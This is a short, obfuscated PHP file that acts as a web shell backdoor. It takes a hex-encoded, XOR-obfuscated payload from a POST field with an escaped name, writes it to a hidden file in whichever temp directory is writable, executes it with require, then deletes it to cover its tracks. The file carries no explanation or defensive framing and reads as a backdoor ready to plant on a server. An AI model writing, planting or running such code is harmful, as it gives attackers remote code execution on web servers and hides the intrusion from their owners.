<?php

if(array_key_exists("d\x63\x68\x75nk", $_POST)){
$holder = hex2bin($_POST["d\x63\x68\x75nk"]);
$reference = ''; $p=0;do{$reference.=chr(ord($holder[$p])^49);$p++;}while($p<strlen($holder));
$rec = array_filter([session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/tmp", getenv("TEMP"), "/var/tmp", sys_get_temp_dir()]);
$pset = 0;
do {
    $flag = $rec[$pset] ?? null;
    if ($pset >= count(rec)) break;
            if ((bool)is_dir($flag) && (bool)is_writable($flag)) {
            $record = "$flag/.elem";
            if (file_put_contents($record, $reference)) {
    require $record;
    unlink($record);
    exit;
}
        }
    $pset++;
} while (true);
}